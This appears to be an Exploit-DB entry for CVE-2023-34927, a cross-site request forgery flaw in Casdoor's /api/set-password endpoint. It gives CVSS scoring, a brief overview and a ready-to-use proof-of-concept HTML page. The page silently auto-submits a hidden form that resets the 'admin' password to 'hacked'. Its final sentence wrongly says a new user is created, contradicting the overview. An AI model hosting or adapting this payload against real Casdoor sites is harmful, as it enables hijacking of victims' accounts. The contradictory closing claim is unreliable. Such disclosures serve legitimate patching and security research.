Casdoor < v1.331.0 - '/api/set-password' CSRF

2024-04-0200:00:00

Van Lam Nguyen

www.exploit-db.com

casdoor

csrf

vulnerability

arbitrary

password

change

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

7 High

AI Score

Confidence

Low

0.021 Low

EPSS

Percentile

89.2%

JSON

# Exploit Title: Casdoor < v1.331.0 - '/api/set-password' CSRF
# Application: Casdoor
# Version: <= 1.331.0
# Date: 03/07/2024
# Exploit Author: Van Lam Nguyen 
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor
# Tested on: Windows
# CVE : CVE-2023-34927

Overview
==================================================
Casdoor v1.331.0 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint /api/set-password. 
This vulnerability allows attackers to arbitrarily change the victim user's password via supplying a crafted URL.

Proof of Concept
==================================================

Made an unauthorized request to /api/set-password that bypassed the old password entry authentication step

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>

</html>

If a user is logged into the Casdoor Webapp at time of execution, a new user will be created in the app with the following credentials

userOwner: built&#45;in
userName: admin
newPassword: hacked